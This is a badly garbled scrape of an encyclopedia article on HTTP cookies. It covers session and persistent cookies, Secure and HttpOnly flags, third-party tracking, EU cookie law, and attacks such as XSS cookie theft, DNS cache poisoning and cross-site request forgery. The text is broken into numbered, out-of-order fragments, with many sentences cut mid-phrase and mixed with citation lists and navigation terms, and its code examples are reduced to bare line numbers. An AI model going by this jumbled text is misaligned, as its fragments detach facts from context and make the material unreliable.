6637:
5980:
4585:
4192:
3374:
3071:"What are cookies? What are the differences between them (session vs. persistent)?"
2837:
2804:/JavaScript objects to store complex sets of session variables on the client side.
2756:
2714:
2706:
2652:
1892:
1867:
1847:
1803:
1578:. This tells the browser to use the cookie only when requesting pages contained in
1066:
1056:
942:
on a visitor's computer or other device in a hidden location outside the visitor's
518:
498:
481:
476:
369:). They can also be used to save information that the user previously entered into
164:
159:
126:
7122:
5677:
Zuiderveen Borgesius, F.J.; Kruikemeier, S.; C Boerman, S.; Helberger, N. (2017).
3239:
1996:
1813:
1134:
flag is set, in which case the cookie cannot be modified by scripting languages).
6315:
6243:
5694:
5551:
5330:
4930:"Apple updates Safari's anti-tracking tech with full third-party cookie blocking"
4707:(Report). Vol. XIII. Symantec Corp. April 2008. pp. 1–3. Archived from
3793:
3179:"Sen. Rockefeller: Get Ready for a Real Do-Not-Track Bill for Online Advertising"
3148:
2651:
Likewise, cookies do not differentiate between multiple users who share the same
1830:, which, when downloaded, sets a cookie belonging to the advertisement's domain (
485:, which is a packet of data a program receives and sends back unchanged, used by
7461:
7441:
7310:
7275:
7211:
7137:
6900:
6789:
6784:
6683:
6668:
6658:
6475:
6470:
6376:
6288:
5614:
5397:
4672:"HTTP Cookies: What's the difference between Max-age and Expires? – Peter Coles"
4626:
4592:
4536:
4502:
4468:
4359:
4340:
4256:
3026:
2990:
2972:
2959:
2931:
2927:
2919:
2852:, rendering tracking by IP address impractical, impossible, or a security risk.
2227:
1938:
1174:
As an example, the browser sends its first HTTP request for the homepage of the
1168:
951:
943:
722:
607:
575:
370:
343:
101:
5678:
4247:
Peng, Weihong; Cisna, Jennifer (2000). "HTTP Cookies, A Promising Technology".
3748:
3732:
3687:
17:
7366:
7152:
7142:
7087:
7077:
6946:
6769:
6673:
6648:
6465:
6331:
4876:
3008:
2989:
Some web browser plugins include persistence mechanisms as well. For example,
2833:
2772:
2435:
2381:
2369:
2318:
1863:
1744:
1411:
1127:
1062:
1044:
939:
929:
750:
506:
397:
327:
5593:"Consent Management Platforms Under the GDPR: Processors and/Or Controllers?"
5569:
5308:
3766:
3514:
3366:
817:
would allow third-party (cross-site) cookies, however, most browsers require
7201:
7196:
7057:
6890:
6885:
6846:
6815:
6810:
6774:
6731:
6542:
5352:
5335:
Proceedings of the 2020 CHI Conference on Human Factors in Computing Systems
5249:
4902:
3335:
Kristol, David M. (2001). "HTTP Cookies: Standards, Privacy, and Politics".
2883:
2861:
2327:
1807:
905:
587:
514:
149:
6326:
3603:
2097:
technically in a browser, through pressing 'accept', or both. In 2020, the
6306:
5299:
5282:
3358:
2489:
2407:
If an attacker is able to accomplish this, it is usually the fault of the
454:
7451:
7315:
7132:
7062:
7018:
7013:
6895:
6820:
6805:
5361:
5034:"Google can't quit third-party cookies—delays shut down for a third time"
4760:
4291:"Secure and efficient protection for HTTP cookies with self-verification"
4112:
3849:
3506:
2388:). Victims reading the attacker's message would download this image from
1491:
domain. In the former case, the cookie will only be sent for requests to
1122:
833:
510:
430:, are commonly used as ways to compile long-term records of individuals'
374:
335:
212:
207:
202:
197:
192:
187:
5283:"Personal data processing for behavioural targeting: which legal basis?"
3788:, vol. 13882, Cham: Springer Nature Switzerland, pp. 623–651,
3782:"Exploring the Cookieverse: A Multi-Perspective Analysis of Web Cookies"
3680:"Description of Persistent and Per-Session Cookies in Internet Explorer"
3528:
Jackson, T (12 February 1996). "This Bug in Your PC is a Smart Cookie".
3122:
1629:
header fields that were received from a website after a user logged in:
1582:(the domain is derived from the request domain). The other two cookies,
7411:
7396:
7270:
7008:
6941:
6759:
6623:
6263:
was created from a revision of this article dated 28 May 2016
5652:
5259:
3840:
3757:
1871:
1374:
729:). This makes the cookie less likely to be exposed to cookie theft via
632: in this section. Unsourced material may be challenged and removed.
339:
4327:
Rainie, Lee (2012). Networked: The New Social Operating System. p. 237
497:
Magic cookies were already used in computing when computer programmer
43:
7471:
7436:
7421:
7386:
7290:
7221:
7107:
7102:
7072:
6998:
6832:
6764:
6721:
6716:
6537:
6490:
4618:
4576:
4528:
4494:
4460:
4351:
4306:
3557:
2730:
1040:
459:
4734:
2721:
session mechanisms both use this method if cookies are not enabled.
2194:. Statements consisting only of original research should be removed.
1905:) tends to eliminate any negative effects of such cookie discovery.
765:(CSRF) attacks. A cookie is given this characteristic by adding the
5837:
5605:
5542:
5343:
3349:
2763:. Transferring session identifiers as HTTP cookies is more secure.
2509:
server. If the attacker's malicious posting is on an HTTPS website
446:" from users before storing non-essential cookies on their device.
7376:
7285:
6513:
6485:
6448:
5060:"Google's plan to turn off third-party cookies in Chrome is dying"
4081:
3825:"CookiExt: Patching the browser against session hijacking attacks"
3733:"A Survey on Web Tracking: Mechanisms, Implications, and Defenses"
2968:
2560:
2513:, secure cookies will also be sent to attacker.com in plain text.
2488:
2353:
2331:
2317:
1812:
1729:
1362:
1103:
453:
63:
4374:"Persistent client state HTTP cookies: Preliminary specification"
4006:"SameSite Cookie Changes in February 2020: What You Need to Know"
3303:
Kesan, Jey; Shah, Rajiv (19 August 2018). "Deconstructing Code".
2622:
of their Facebook friends and obtained cookies of 80 of them via
725:). They cannot be transmitted over unencrypted connections (i.e.
697:
For this reason, persistent cookies are sometimes referred to as
7305:
6851:
6508:
6443:
2801:
2776:
2741:
the first time, and then visits the same page by coming from an
2431:
1396:. The name of a cookie excludes the same characters, as well as
1142:
1118:
1070:
726:
486:
342:
and placed on the user's computer or other device by the user's
121:
116:
111:
106:
96:
91:
86:
77:
68:
35:
6972:
6563:
6387:
6349:
6345:
5240:
Adtech and Real-Time Bidding under European Data Protection Law
5237:
Veale, Michael; Zuiderveen Borgesius, Frederik (1 April 2021),
4981:
4519:
RFC 6265, HTTP State Management Mechanism, The Domain Attribute
1022:
been authenticated and grants the user access to its services.
27:
Small pieces of data stored by a web browser while on a website
6951:
6455:
6032:
3992:"Browser Compatibility Testing of 'SameSite' cookie attribute"
3926:"Using the Same-Site Cookie Attribute to Prevent CSRF Attacks"
2733:, those preferences will be used for that other user as well.
2718:
2697:
page request. This information can be used to track the user.
2356:
protocol) to encrypt the connection. A server can specify the
2334:). This traffic includes cookies sent on ordinary unencrypted
2221:
2159:
2118:
2089:
2085:
1932:
1766:
To view and selectively delete cookies using a cookie manager.
880:. This can be used to fake logins or change user information.
601:
349:
Cookies serve useful and sometimes essential functions on the
5954:"Fielding Dissertation: CHAPTER 6: Experience and Evaluation"
753:. This restriction eliminates the threat of cookie theft via
6241:
4567:
RFC 2109, HTTP State Management Mechanism, Set-Cookie syntax
4140:"Microsoft disables 'supercookies' used on MSN.com visitors"
2536:. For example, a victim is reading an attacker's posting on
357:
information (such as items added in the shopping cart in an
2950:, a more recent technique, claims to add another 5.7 bits.
1590:, would be used when the browser requests any subdomain in
721:
can only be transmitted over an encrypted connection (i.e.
4485:
RFC 6265, HTTP State Management Mechanism, Domain matching
4423:"Cookies, Set and retrieve information about your readers"
3896:"Same-Site Cookies draft-ietf-httpbis-cookie-same-site-00"
1806:
the user's browsing history and is used by advertisers to
1407:
is sometimes used to refer to a cookie's name–value pair.
1260:
sessionToken=abc123; Expires=Wed, 09 Jun 2021 10:18:14 GMT
836:
circumstances, Google postponed this change to Chrome 84.
781:
version 51 introduced a new kind of cookie with attribute
5157:. Information Commissioner's Office. 2012. Archived from
4169:
Englehardt, Steven; Edelstein, Arthur (26 January 2021).
3343:(2). Association for Computing Machinery (ACM): 151–198.
1773:
Add-on tools for managing cookie permissions also exist.
1698:
field match the values used when the cookie was created.
4982:"OK Google, don't delay real browser privacy until 2022"
4955:"Firefox starts blocking third-party cookies by default"
4641:"Cookies specification compatibility in modern browsers"
4197:"Zombie Cookie: The Tracking Cookie That You Can't Kill"
3625:"'HTTP State Management Mechanism' to Proposed Standard"
582:
header field which was called "Netscape-style cookies".
5238:
4817:"Clear Personal Information : Clear browsing data"
2926:
services in an effort to accurately measure real human
2183:
1664:
made_write_conn=1295214458; Path=/; Domain=.example.com
1418:
is used for this purpose. For example, the instruction
1414:
that run within the browser. In JavaScript, the object
1410:
Cookies can also be set by scripting languages such as
5923:"Security researcher finds 'cookiejacking' risk in IE"
2870:
ETags can be flushed in some browsers by clearing the
2784:
bookmark the page or send it via email, for example).
6341:
Check cookies for compliance with EU cookie directive
6340:
6291:, the current official specification for HTTP cookies
5503:"EU cookie law: stop whining and just get on with it"
2922:
configuration information has long been collected by
1299:
Next, the browser sends another request to visit the
1117:(memory of previous events) into otherwise stateless
5204:
5202:
3865:"'SameSite' cookie attribute, Chrome Platform tatus"
3415:"Usenet Post by Marc Andreessen: Here it is, world!"
7324:
7220:
7161:
7037:
6983:
6909:
6865:
6831:
6749:
6697:
6584:
6574:
6501:
6434:
6408:
6318:
at the Electronic Privacy Information Center (EPIC)
5744:"A Loophole Big Enough for a Cookie to Fit Through"
4451:
HTTP State Management Mechanism, The Path Attribute
1361:The value of a cookie may consist of any printable
1121:transactions. Without cookies, each retrieval of a
4031:"Temporarily rolling back SameSite Cookie Changes"
2037:Directive on Privacy and Electronic Communications
1769:To fully wipe all private data, including cookies.
1358:header field with an expiration date in the past.
5892:"Microsoft latest security risk: 'Cookiejacking'"
5281:Zuiderveen Borgesius, Frederik J. (August 2015).
5154:Privacy and Electronic Communications Regulations
2441:As an example, an attacker may post a message on
757:(XSS). However, the cookie remains vulnerable to
6095:. Electronic Frontier Foundation. Archived from
5337:. Chi '20. Honolulu HI USA: ACM. pp. 1–13.
5147:
5145:
2364:Publishing false sub-domain: DNS cache poisoning
749:cannot be accessed by client-side APIs, such as
5428:Update Report into Adtech and Real Time Bidding
3051:HTTP Strict Transport Security § Privacy issues
970:A cookie consists of the following components:
5860:. Archived from the original on 26 March 2014.
4761:"How to Manage Cookies in Internet Explorer 6"
4335:
4333:
4295:International Journal of Communication Systems
4113:"Tracking the Trackers: Microsoft Advertising"
3976:West, Mike; Wilander, John (7 December 2020).
2807:The downside is that every separate window or
2386:http://f12345.www.example.com/img_4_cookie.jpg
1826:. This website contains an advertisement from
6361:
3209:"Where cookie comes from :: DominoPower"
3093:"Gmail cookie stolen via Google Spreadsheets"
2563:connections, and the HTTPS protocol dictates
1747:), and therefore cannot be stolen easily via
1701:As of 2016 Internet Explorer did not support
1303:page on the website. This request contains a
872:, could maliciously affect a request made to
284:
8:
5704:11245.1/dfb59b54-0544-4c65-815a-640eae10668a
5124:"EU Cookie Directive, Directive 2009/136/EC"
4847:"Clear Personal Information: Delete cookies"
3271:"Giving Web a Memory Cost Its Users Privacy"
2867:also enhance the preservation of ETag data.
1842:and sets a cookie belonging to that domain (
1838:, which also contains an advertisement from
1487:without a domain, and a cookie set with the
1155:Can support at least 3,000 cookies in total.
876:, even if the cookie did not originate from
694:another website (such as an advertisement).
5653:"P3P: The Platform for Privacy Preferences"
5534:ICT Systems Security and Privacy Protection
5094:"Spy Agency Removes Illegal Tracking Files"
3149:"New net rules set to make cookies crumble"
2979:while session storage behaves similarly to
2771:Another form of session tracking is to use
2404:-related cookies to the attacker's server.
2256:. Unsourced material may be challenged and
2153:Learn how and when to remove these messages
1065:of the computer requesting the page or the
938:is data and code that has been placed by a
916:as a means of tracking users across sites.
404:may allow a cookie's data to be read by an
6980:
6969:
6581:
6571:
6560:
6405:
6384:
6368:
6354:
6346:
5425:Information Commissioner's Office (2019).
4551:"Internet Explorer Cookie Internals (FAQ)"
4057:"Resuming SameSite Cookie Changes in July"
3980:(Report). Internet Engineering Task Force.
3541:
3539:
3330:
3328:
3326:
2780:neither part of the URL, nor of a cookie.
1834:). Then, the user visits another website,
1789:Web analytics § Problems with cookies
291:
277:
31:
5885:
5883:
5881:
5836:
5750:. The New York Times. 17 September 2010.
5702:
5604:
5541:
5360:
5342:
5298:
5258:
5248:
4617:
4609:RFC 6265, HTTP State Management Mechanism
4575:
4527:
4493:
4459:
4350:
4082:"Learn more about the Public Suffix List"
3848:
3756:
3623:Hodges, Jeff; Corry, Bil (6 March 2011).
3556:
3348:
2889:most up-to-date version of the resource.
2294:Learn how and when to remove this message
2276:Learn how and when to remove this message
2210:Learn how and when to remove this message
2035:In 2002, the European Union launched the
2023:Learn how and when to remove this message
1794:retrieval of these components are called
1460:cannot set a cookie that has a domain of
648:Learn how and when to remove this message
391:that a user is logged in, and with which
6271:, and does not reflect subsequent edits.
6254:
5232:
5230:
4564:Kristol, D.; Montulli, L. (March 2014).
4171:"Firefox 85 Cracks Down on Supercookies"
3978:Cookies: HTTP State Management Mechanism
3702:"Maintaining session state with cookies"
3495:Journal of Public Policy & Marketing
3086:
3084:
2372:to cache a fabricated DNS entry (called
733:. A cookie is made secure by adding the
537:in version 2, released in October 1995.
6122:"Window.sessionStorage, Web APIs | MDN"
4115:. The Center for Internet and Society.
3337:ACM Transactions on Internet Technology
3298:
3296:
3123:"What about the "EU Cookie Directive"?"
3062:
2832:Some users may be tracked based on the
427:
241:
220:
177:
134:
76:
34:
6132:from the original on 28 September 2015
6039:from the original on 26 September 2008
5863:
5478:"EUR-Lex - 62017CC0040 - EN - EUR-Lex"
5210:"EUR-Lex - 62017CN0673 - EN - EUR-Lex"
4181:from the original on 25 February 2024.
4119:from the original on 26 September 2011
2976:
2946:possible from browser fingerprinting.
2058:Court of Justice of the European Union
2049:Court of Justice of the European Union
1959:Please improve this section by adding
1141:Can support cookies as large as 4,096
6192:from the original on 16 December 2014
5987:from the original on 23 December 2008
5513:from the original on 15 November 2012
5420:
5418:
5398:"EUR-Lex - 32016R0679 - EN - EUR-Lex"
5392:
5390:
5324:
5322:
5320:
5318:
5130:from the original on 18 December 2012
5104:from the original on 12 November 2011
4767:from the original on 28 December 2008
3281:from the original on 18 November 2011
3250:from the original on 6 September 2017
2862:HTTP ETag § Tracking using ETags
2667:Authentication and session management
2501:attribute, thus replacing the string
2400:, victims' browsers would submit all
1822:As an example, suppose a user visits
1468:to control the cookies of the domain
1464:because this would allow the website
559:. A special working group within the
475:was coined by web-browser programmer
7:
6162:from the original on 11 January 2015
6006:Hoffman, Chris (28 September 2016).
5754:from the original on 26 January 2013
4909:from the original on 9 December 2014
4883:from the original on 9 December 2014
4269:Jim Manico quoting Daniel Stenberg,
4223:"The Cookie That Would Not Crumble!"
4138:Vijayan, Jaikumar (19 August 2011).
3712:from the original on 14 October 2012
3219:from the original on 19 October 2017
3129:from the original on 11 October 2017
3103:from the original on 9 December 2013
2254:adding citations to reliable sources
1148:Can support at least 50 cookies per
630:adding citations to reliable sources
387:are commonly used by web servers to
7534:Hypertext Transfer Protocol headers
5683:European Data Protection Law Review
4797:from the original on 3 January 2009
4741:from the original on 24 August 2011
4651:from the original on 2 October 2016
4429:from the original on 24 August 2011
4376:. Netscape. c. 1999. Archived from
3906:from the original on 16 August 2016
3604:later versions of the documentation
3470:from the original on 1 October 2005
3462:Hardmeier, Sandi (25 August 2005).
3269:Schwartz, John (4 September 2001).
3189:from the original on 24 August 2011
3159:from the original on 10 August 2018
2980:
2617:which allows the attacker to steal
2524:Cross-site scripting: proxy request
458:HTTP cookies share their name with
353:. They enable web servers to store
5960:from the original on 27 April 2011
5785:from the original on 27 April 2011
5181:"Cookies and similar technologies"
4857:from the original on 11 March 2009
4827:from the original on 11 March 2009
4421:Shannon, Ross (26 February 2007).
4111:Mayer, Jonathan (19 August 2011).
3894:Goodwin, M.; West (20 June 2016).
3635:from the original on 7 August 2016
3613:further to RFC 2965's deprecation.
3583:from the original on 16 March 2017
3464:"The history of Internet Explorer"
3421:from the original on 27 April 2011
3305:Yale Journal of Law and Technology
2420:Cross-site scripting: cookie theft
2368:If an attacker is able to cause a
2115:Cookie theft and session hijacking
2045:General Data Protection Regulation
1802:. This opens up the potential for
1420:document.cookie = "temperature=20"
913:
818:
586:was seldom used, however, and was
25:
6086:"How Unique Is Your Web Browser?"
5441:from the original on 13 May 2021.
5006:Protalinski, Emil (19 May 2020).
4682:from the original on 29 July 2016
4402:from the original on 5 April 2008
4195:; Tigas, Mike (14 January 2015).
3686:. 24 January 2007. Archived from
2134:This section has multiple issues.
2074:Information Commissioner's Office
1866:third-party cookies. Since 2020,
1858:Most modern web browsers contain
213:451 Unavailable for Legal Reasons
6253:
6084:Eckersley, Peter (17 May 2010).
6065:from the original on 5 June 2011
5902:from the original on 30 May 2011
5058:Lawler, Richard (22 July 2024).
4735:"The Unofficial Cookie FAQ v2.6"
4092:from the original on 14 May 2016
3091:Vamosi, Robert (14 April 2008).
3025:
3011:
2639:) software architectural style.
2226:
2164:
2123:
1937:
1751:(a pervasive attack technique).
1342:theme=light; sessionToken=abc123
848:is a cookie with an origin of a
606:
42:
6322:Mozilla Knowledge-Base: Cookies
5775:"How to Block Tracking Cookies"
5597:Privacy Technologies and Policy
4763:. Microsoft. 18 December 2007.
4342:HTTP State Management Mechanism
4271:Real world cookie length limits
4221:Stolze, Conrad (11 June 2011).
3875:from the original on 9 May 2016
3244:The Jargon File (version 4.4.7)
2942:measured at least 18.1 bits of
2688:The HTTP protocol includes the
2142:or discuss these issues on the
617:needs additional citations for
561:Internet Engineering Task Force
479:. It was derived from the term
221:Security access control methods
5979:Tilkov, Stefan (2 July 2008).
5921:Whitney, Lance (26 May 2011).
5773:Pegoraro, Rob (17 July 2005).
5287:International Data Privacy Law
4793:. Mozilla. 16 September 2008.
4791:Firefox Support Knowledge base
3786:Passive and Active Measurement
2930:and discount various forms of
2099:European Data Protection Board
2078:Interactive Advertising Bureau
856:) or a public suffix (such as
396:on whether the cookie data is
367:pages were visited in the past
1:
6152:"Introduction to Persistence"
5852:Zetter, Kim (23 March 2011).
5032:Amadeo, Ron (24 April 2024).
4928:Statt, Nick (24 March 2020).
4733:Whalen, David (8 June 2002).
4251:. Online Information Review.
4055:Schuh, Justin (28 May 2020).
3489:Miyazaki, Anthony D. (2008).
3445:Netscape Communications Corp.
2811:will initially have an empty
1961:secondary or tertiary sources
1808:serve relevant advertisements
1612:Wdy, DD Mon YYYY HH:MM:SS GMT
1212:The server responds with two
6301:Using cookies via ECMAScript
5552:10.1007/978-3-030-78120-0_14
3829:Journal of Computer Security
3794:10.1007/978-3-031-28486-1_26
2694:digest access authentication
1502:Below is an example of some
428:third-party tracking cookies
373:, such as names, addresses,
234:Digest access authentication
7544:Hacking (computer security)
6303:, Mozilla Developer Network
6297:, Mozilla Developer Network
6008:"What Is a Browser Cookie?"
5890:Finkle, Jim (25 May 2011).
5615:10.1007/978-3-030-76663-4_3
3706:Microsoft Developer Network
3033:Computer programming portal
2690:basic access authentication
2548:. Since the request is for
2190:the claims made and adding
1690:, has its value changed to
1616:Wdy, DD Mon YY HH:MM:SS GMT
703:
552:hearings in 1996 and 1997.
229:Basic access authentication
7565:
5126:. JISC Legal Information.
3749:10.1109/JPROC.2016.2637878
3655:"Set-Cookie2 - HTTP | MDN"
3041:Session (computer science)
2957:
2903:
2881:
2859:
2759:logging attacks and other
2577:Cross-site request forgery
2574:
2571:Cross-site request forgery
2423:
2409:Internet Service Providers
1890:
1786:
1780:
1276:since it does not have an
1164:Cookies are set using the
1054:
923:
828:to change that default to
821:on SameSite=None cookies.
803:cross-site request forgery
763:cross-site request forgery
505:, which was developing an
418:cross-site request forgery
7493:
7417:Internet Explorer for Mac
6979:
6968:
6570:
6559:
6404:
6383:
6307:How Internet Cookies Work
5870:: CS1 maint: unfit URL (
4980:Brave (6 February 2020).
2934:. With the assistance of
2848:, are designed to retain
2655:, computer, and browser.
2643:Inaccurate identification
2445:with the following link:
1734:man-in-the-middle attacks
1594:on any path (for example
1422:creates a cookie of name
1016:unique session identifier
980:Zero or more attributes (
948:Flash Local shared object
705:
408:, used to gain access to
4516:Barth, A. (March 2014).
4482:Barth, A. (March 2014).
3125:. WebCookies.org. 2013.
2788:window.name DOM property
2584:
2447:
2350:Transport Layer Security
2340:man-in-the-middle attack
1923:National Security Agency
1631:
1512:
1439:a cookie to the server.
1309:
1288:, is considered to be a
1272:, is considered to be a
1218:
1180:
914:the use of browser cache
785:with possible values of
550:Federal Trade Commission
402:Security vulnerabilities
265:HTTP parameter pollution
242:Security vulnerabilities
7529:Computer access control
5353:10.1145/3313831.3376321
4787:"Clearing private data"
3737:Proceedings of the IEEE
3077:. 17 July 2018. 117925.
2659:Alternatives to cookies
2511:https://www.example.com
503:Netscape Communications
260:HTTP response splitting
6249:
6225:Listen to this article
5952:Fielding, Roy (2000).
5695:10.21552/edpl/2017/3/9
5457:www.legifrance.gouv.fr
3001:has Isolated storage.
2844:some systems, such as
2815:property when opened.
2544:with the proxy server
2494:
2394:f12345.www.example.com
2390:f12345.www.example.com
2378:f12345.www.example.com
2323:
2108:
1948:relies excessively on
1819:
1109:
463:
385:Authentication cookies
322:) are small blocks of
255:HTTP request smuggling
6248:
6126:developer.mozilla.org
5250:10.31235/osf.io/wg8fq
4877:"Third party domains"
4522:. sec. 4.1.2.3.
4454:. sec. 4.1.2.4.
4175:Mozilla Security Blog
3690:on 25 September 2011.
3684:support.microsoft.com
3659:developer.mozilla.org
3629:The Security Practice
3359:10.1145/502152.502153
3238:Raymond, Eric (ed.).
2999:Microsoft Silverlight
2948:Canvas fingerprinting
2936:client-side scripting
2894:var userId = 3243242;
2613:is an attack against
2565:end-to-end encryption
2492:
2414:certificate authority
2321:
2314:Network eavesdropping
2103:
2088:specification called
2065:Privacy International
1816:
1800:banner advertisements
1580:docs.foo.com/accounts
1570:attribute, and has a
1394:whitespace characters
1292:since it contains an
1130:(unless the cookie's
1107:
805:(CSRF) attacks. With
679:non-persistent cookie
524:virtual shopping cart
460:a popular baked treat
457:
365:, or recording which
250:HTTP header injection
188:301 Moved Permanently
179:Response status codes
7402:IBM Home Page Reader
6280:More spoken articles
6061:. Mypage.direct.ca.
5981:"REST Anti-Patterns"
5100:. 29 December 2005.
3577:staff.washington.edu
3507:10.1509/jppm.27.1.19
2739:internal to the site
2630:Drawbacks of cookies
2426:Cross-site scripting
2250:improve this section
1749:cross-site scripting
769:flag to the cookie.
755:cross-site scripting
737:flag to the cookie.
626:improve this article
442:member states gain "
414:cross-site scripting
381:for subsequent use.
379:payment card numbers
5810:www.theregister.com
5300:10.1093/idpl/ipv011
4903:"Number of cookies"
4612:. sec. 5.1.1.
4570:. sec. 4.2.2.
4553:. 21 November 2018.
4488:. sec. 5.1.3.
4150:on 27 November 2014
3417:. 13 October 1994.
2995:Local shared object
2912:browser fingerprint
2900:Browser fingerprint
2684:HTTP authentication
2396:is a sub-domain of
2380:that points to the
2374:DNS cache poisoning
1929:EU cookie directive
1844:ad.foxytracking.com
1840:ad.foxytracking.com
1832:ad.foxytracking.com
1828:ad.foxytracking.com
1796:third-party cookies
1783:Third-party cookies
1709:Secure and HttpOnly
1621:Alternatively, the
1602:Expires and Max-Age
1152:(i.e. per website).
1092:Wall Street Journal
6250:
6182:"Isolated Storage"
6102:on 15 October 2014
5161:on 30 October 2012
4905:. WebCookies.org.
4879:. WebCookies.org.
4851:Google Chrome Help
4821:Google Chrome Help
4737:. Cookie Central.
4645:inikulin.github.io
4606:Barth, A. (2011).
4276:2013-07-02 at the
3930:www.netsparker.com
3841:10.3233/JCS-150529
3609:2017-03-16 at the
3395:on 7 December 2006
3275:The New York Times
2977:persistent cookies
2906:Device fingerprint
2850:Internet anonymity
2767:Hidden form fields
2701:URL (query string)
2624:social engineering
2534:same-origin policy
2495:
2324:
2175:possibly contains
1914:drug policy office
1820:
1777:Third-party cookie
1678:The first cookie,
1562:The first cookie,
1110:
1002:Session management
885:Public Suffix List
759:cross-site tracing
669:(also known as an
467:Origin of the name
464:
432:browsing histories
7516:
7515:
7489:
7488:
7485:
7484:
7172:Internet Explorer
6964:
6963:
6960:
6959:
6745:
6744:
6555:
6554:
6551:
6550:
6246:
5804:Claburn, Thomas.
5624:978-3-030-76662-7
5561:978-3-030-78119-4
5482:eur-lex.europa.eu
5402:eur-lex.europa.eu
5372:978-1-4503-6708-0
5214:eur-lex.europa.eu
4392:"Cookie Property"
4380:on 5 August 2007.
3803:978-3-031-28485-4
3573:"Setting Cookies"
3551:. sec. 8.3.
2761:security exploits
2615:Internet Explorer
2304:
2303:
2296:
2286:
2285:
2278:
2220:
2219:
2212:
2177:original research
2157:
2033:
2032:
2025:
2007:
1614:, or in the form
1574:attribute set to
1434:Cookie attributes
1290:persistent cookie
952:HTML5 Web storage
888:certain domains.
797:. With attribute
691:persistent cookie
685:Persistent cookie
658:
657:
650:
571:RFC 2965 added a
535:Internet Explorer
426:, and especially
301:
300:
16:(Redirected from
7556:
7539:Internet privacy
6981:
6970:
6582:
6572:
6561:
6406:
6385:
6370:
6363:
6356:
6347:
6270:
6268:
6257:
6256:
6247:
6237:
6235:
6231:
6226:
6202:
6201:
6199:
6197:
6178:
6172:
6171:
6169:
6167:
6148:
6142:
6141:
6139:
6137:
6118:
6112:
6111:
6109:
6107:
6101:
6090:
6081:
6075:
6074:
6072:
6070:
6055:
6049:
6048:
6046:
6044:
6029:
6023:
6022:
6020:
6018:
6003:
5997:
5996:
5994:
5992:
5976:
5970:
5969:
5967:
5965:
5949:
5943:
5942:
5940:
5938:
5929:. Archived from
5918:
5912:
5911:
5909:
5907:
5887:
5876:
5875:
5869:
5861:
5849:
5843:
5842:
5840:
5828:
5822:
5821:
5819:
5817:
5801:
5795:
5794:
5792:
5790:
5770:
5764:
5763:
5761:
5759:
5740:
5734:
5733:
5731:
5729:
5715:
5709:
5708:
5706:
5674:
5668:
5667:
5665:
5663:
5649:
5643:
5642:
5641:
5639:
5608:
5588:
5582:
5581:
5545:
5529:
5523:
5522:
5520:
5518:
5499:
5493:
5492:
5490:
5488:
5474:
5468:
5467:
5465:
5463:
5449:
5443:
5442:
5440:
5433:
5422:
5413:
5412:
5410:
5408:
5394:
5385:
5384:
5364:
5346:
5326:
5313:
5312:
5302:
5278:
5272:
5271:
5262:
5252:
5234:
5225:
5224:
5222:
5220:
5206:
5197:
5196:
5194:
5192:
5187:. 1 January 2021
5177:
5171:
5170:
5168:
5166:
5149:
5140:
5139:
5137:
5135:
5120:
5114:
5113:
5111:
5109:
5090:
5084:
5081:
5075:
5074:
5072:
5070:
5055:
5049:
5048:
5046:
5044:
5029:
5023:
5022:
5020:
5018:
5003:
4997:
4996:
4994:
4992:
4977:
4971:
4970:
4968:
4966:
4951:
4945:
4944:
4942:
4940:
4925:
4919:
4918:
4916:
4914:
4899:
4893:
4892:
4890:
4888:
4873:
4867:
4866:
4864:
4862:
4843:
4837:
4836:
4834:
4832:
4813:
4807:
4806:
4804:
4802:
4783:
4777:
4776:
4774:
4772:
4757:
4751:
4750:
4748:
4746:
4730:
4724:
4723:
4721:
4719:
4713:
4706:
4698:
4692:
4691:
4689:
4687:
4667:
4661:
4660:
4658:
4656:
4637:
4631:
4630:
4621:
4619:10.17487/RFC6265
4603:
4597:
4596:
4579:
4577:10.17487/RFC2109
4561:
4555:
4554:
4547:
4541:
4540:
4531:
4529:10.17487/RFC6265
4513:
4507:
4506:
4497:
4495:10.17487/RFC6265
4479:
4473:
4472:
4463:
4461:10.17487/RFC6265
4445:
4439:
4438:
4436:
4434:
4418:
4412:
4411:
4409:
4407:
4388:
4382:
4381:
4370:
4364:
4363:
4354:
4352:10.17487/RFC6265
4337:
4328:
4325:
4319:
4318:
4307:10.1002/dac.3857
4286:
4280:
4267:
4261:
4260:
4244:
4238:
4237:
4235:
4233:
4218:
4212:
4211:
4209:
4207:
4189:
4183:
4182:
4166:
4160:
4159:
4157:
4155:
4146:. Archived from
4135:
4129:
4128:
4126:
4124:
4108:
4102:
4101:
4099:
4097:
4086:Publicsuffix.org
4078:
4072:
4071:
4069:
4067:
4052:
4046:
4045:
4043:
4041:
4027:
4021:
4020:
4018:
4016:
4002:
3996:
3995:
3988:
3982:
3981:
3973:
3967:
3966:
3964:
3962:
3948:
3942:
3941:
3939:
3937:
3932:. 23 August 2016
3922:
3916:
3915:
3913:
3911:
3900:Ietf Datatracker
3891:
3885:
3884:
3882:
3880:
3869:Chromestatus.com
3861:
3855:
3854:
3852:
3820:
3814:
3813:
3812:
3810:
3777:
3771:
3770:
3760:
3743:(8): 1476–1510.
3728:
3722:
3721:
3719:
3717:
3698:
3692:
3691:
3676:
3670:
3669:
3667:
3665:
3651:
3645:
3644:
3642:
3640:
3620:
3614:
3599:
3593:
3592:
3590:
3588:
3579:. 19 June 2009.
3569:
3563:
3562:
3560:
3558:10.17487/RFC2109
3543:
3534:
3533:
3525:
3519:
3518:
3486:
3480:
3479:
3477:
3475:
3459:
3453:
3452:
3451:
3447:
3437:
3431:
3430:
3428:
3426:
3411:
3405:
3404:
3402:
3400:
3391:. Archived from
3385:
3379:
3378:
3352:
3332:
3321:
3320:
3300:
3291:
3290:
3288:
3286:
3266:
3260:
3259:
3257:
3255:
3235:
3229:
3228:
3226:
3224:
3205:
3199:
3198:
3196:
3194:
3175:
3169:
3168:
3166:
3164:
3155:. 8 March 2011.
3145:
3139:
3138:
3136:
3134:
3119:
3113:
3112:
3110:
3108:
3088:
3079:
3078:
3067:
3035:
3030:
3029:
3021:
3016:
3015:
2895:
2814:
2799:
2753:session fixation
2597:
2594:
2591:
2588:
2555:
2551:
2547:
2543:
2539:
2512:
2508:
2504:
2500:
2485:
2482:
2479:
2475:
2472:
2469:
2466:
2463:
2460:
2457:
2454:
2451:
2444:
2403:
2399:
2395:
2391:
2387:
2379:
2359:
2299:
2292:
2281:
2274:
2270:
2267:
2261:
2230:
2222:
2215:
2208:
2204:
2201:
2195:
2192:inline citations
2168:
2167:
2160:
2149:
2127:
2126:
2119:
2028:
2021:
2017:
2014:
2008:
2006:
1965:
1941:
1933:
1860:privacy settings
1845:
1841:
1837:
1833:
1829:
1825:
1755:Browser settings
1742:
1730:secure/encrypted
1727:
1720:
1716:
1704:
1697:
1689:
1685:
1681:
1674:
1671:
